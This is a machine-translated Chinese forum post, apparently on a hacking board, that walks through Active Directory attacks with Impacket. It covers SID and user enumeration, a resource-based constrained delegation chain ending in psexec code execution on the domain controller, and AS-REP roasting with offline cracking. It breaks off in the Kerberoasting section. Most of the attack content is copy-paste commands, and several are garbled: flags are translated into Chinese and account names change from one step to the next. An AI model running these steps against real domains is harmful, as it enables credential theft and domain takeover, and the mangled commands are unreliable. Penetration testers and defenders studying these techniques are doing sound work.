使用Impacket 进行Active Directory 渗透测试

blackhat

版主

blackhat Rep
0
0
0
Rep
0
blackhat Vouches
Vouches
0
8 MONTHS
8 8 MONTHS OF SERVICE
blackhat 获得
0
0
0
获得
0
blackhat 凭证
0
0
0
凭证
0
主题
15
点赞
0
HakB
8
在社区成长 8 月
LEVEL 90 100 XP
 
Impacket 是一个功能强大的Python 工具包,用于处理网络协议,在Active Directory (AD) 渗透测试中特别有用。它提供了各种脚本来利用常见的AD 漏洞、执行横向移动和提取敏感数据。本文演示了使用Impacket 的实用AD 渗透测试技术,涵盖枚举、利用和后利用。

目录​

ImpacketEnumerationEnumerate SID 简介
枚举AD用户
枚举AD 计算机
基于资源的约束委派(RBCD) 攻击基于Kerberos 的攻击AS-REP 烘焙
Kerbero 烘烤
凭证转储DCSync攻击
本地管理员密码解决方案(LAPS) 提取
GMSA攻击
滥用AD-DACLForceChangePassword
WriteDacl 写所有者
跨越HashShadow 凭证攻击从注册表中提取凭证HiveMitigationConclusion

Impacket 简介​

Impacket 是一个基于Python 的多功能工具包,广泛用于渗透测试和恶意黑客攻击。对于渗透测试人员来说,Impacket 有助于模拟真实的攻击场景,从而识别和修复组织网络内的漏洞。攻击者经常使用Impacket 来利用Windows 服务和协议、在网络内横向移动、提升权限以及访问敏感数据。 Impacket 是包括勒索软件组织在内的威胁行为者青睐的工具,因为它具有全面的侦察、凭证转储和未经授权的命令执行功能。

枚举​

枚举是AD 渗透测试的第一步,用于收集有关用户、计算机和其他AD 对象的信息。

枚举 SID​

Impacket 的查找功能允许您枚举Windows 系统上的用户SID(安全标识符)和组SID。 Windows 系统上的每个用户帐户和组帐户都有一个唯一的SID。通过获取SID,您可以收集有关现有用户帐户的信息,这对于了解网络的结构和潜在的攻击向量非常有价值。
impacket-lookupsid ignite.local/krishna:password@[email protected]
0.png

枚举 AD 用户​

Impacket 的GetADUsers 工具用于查询Active Directory 用户。它通过使用凭据并执行LDAP 查询来获取有关AD 环境中用户的信息。它可以帮助提取用户名、描述(可能是一些有趣的信息)、上次登录时间、上次设置的密码等信息。
impacket-GetADUsers ignite.local/Administrator:Ignite@987 -dc-ip 192.168.1.14 -all
1.png

检索所有AD 用户及其属性(例如上次登录、描述)。

枚举 AD 计算机​

列出域中的所有计算机对象。
impacket-GetADComputers ignite.local/aarti:password@1 -dc-ip 192.168.1.14
2.png

基于资源的约束委派 (RBCD) 攻击​

基于资源的约束委派(RBCD) 是Active Directory (AD) 中的一项安全功能,允许计算机对象指定哪些用户或计算机可以模拟帐户来访问其资源。与旧的无约束和约束委托方法相比,此委托方法提供了更精细的控制。然而,攻击者可以利用错误配置的RBCD 来获得未经授权的访问并提升域内的权限。
以下步骤概述了该过程:
创建一个虚假的计算机帐户
通过将域控制器(DC) 上的控制委派给这台假机器来编辑目标的“rbcd”属性
假计算机帐户代表域控制器(DC$) 帐户进行操作
获取门票(委托操作)
获得门票后,可通过通票使用。

滥用 MachineAccountQuota 创建计算机帐户

由于Active Directory 允许用户创建计算机帐户(如果MachineAccountQuota 0),因此我们利用它来使用Geet 帐户创建新的假计算机。
为此,我们将使用addcomputer 脚本,该脚本有一个SAMR 选项来添加新计算机,该计算机通过SMB 运行。
impacket-addcomputer ignite.local/geet:password@1 -计算机名称fakepc -计算机通密码@123 -dc-ip 192.168.1.14
3.png

重写 DC 的AllowedToActOnBehalfOfOtherIdentity 属性

我们将在域控制器(DC$) 上配置msDS-AllowedToActOnBehalfOfOtherIdentity,允许我们的假计算机帐户冒充用户。
我们可以使用Impacket的rbcd脚本来读取、写入或清除委托权限。确保您使用具有适当权限的域用户的凭据。
impacket-rbcd ignite.local/geet:password@1 -action write -delegate-to 'DC$' -delegate-from 'farkepc$' -dc-ip 192.168.1.14
4.png

生成 CIFS 服务票据

假计算机帐户使用用户到自身服务(S4U2Self) 为特权用户(例如管理员)请求Kerberos 服务票证。
然后,它使用用户服务到代理(S4U2Proxy) 将票证升级以获得对DC$ 的访问权限。
修改委派属性后,您可以使用Impacket getST 脚本获取用于模拟的服务票证(ST)。例如,您可以冒充管理员或域内的任何其他用户。
impacket-getST ignite.local/'farzipc$':password@123 -spn cifs/DC.ignite.local -模拟管理员-dc-ip 192.168.1.14
5.png

获得特权访问

获得Kerberos 票证后,您可以通过票证传递技术来使用它。
为了使用票证,首先导出指向创建的票证的环境变量。
导出KRB5CCNAME=administrator@[email protected]
使用impacket 的psexec 使用pass-the-ticket 方法进行远程代码执行。
impacket-psexec ignite.local/[email protected] -k -no-pass -dc-ip 192.168.1.14
6.png

基于 Kerberos 的攻击​

由于配置错误和凭据薄弱,Kerberos 是AD 攻击的常见目标。

AS-REP 烘焙​

AS-REP Roasting 是针对Kerberos 身份验证协议的攻击。它利用禁用Kerberos 预身份验证的帐户,允许攻击者离线破解密码。
攻击如何进行:请求票证:攻击者向密钥分发中心(KDC) 发送请求,以获取禁用预身份验证的帐户。
接收加密数据:KDC 发回AS-REP 响应,并使用帐户的密码哈希进行加密。
破解密码: 攻击者利用工具离线暴力破解密码。如果密码很弱,他们就可以获得访问权限。
Impacket 中的GetNPUsers 脚本可用于执行AS-REP Roasting 攻击并检索密码哈希值。
impacket-GetNPUsers -dc-ip 192.168.1.14 ignite.local/-usersfile users.txt -format john -outputfile 哈希值
此外,借助John the Ripper 字典(例如Rockyou)可以帮助攻击者从哈希中提取密码。
john -w=/usr/share/wordlists/rockyou.txt 哈希值
Impacket Active Directory Attacks

Kerber 烘烤​

Kerberoasting 是一种技术,允许攻击者窃取使用RC4 加密的KRB_TGS 票证,以暴力破解应用程序服务哈希来提取其密码。
Impacket 的GetUserSPNs 脚本将尝试查找并获取与普通用户帐户关联的服务主体名称。输出i
 
顶部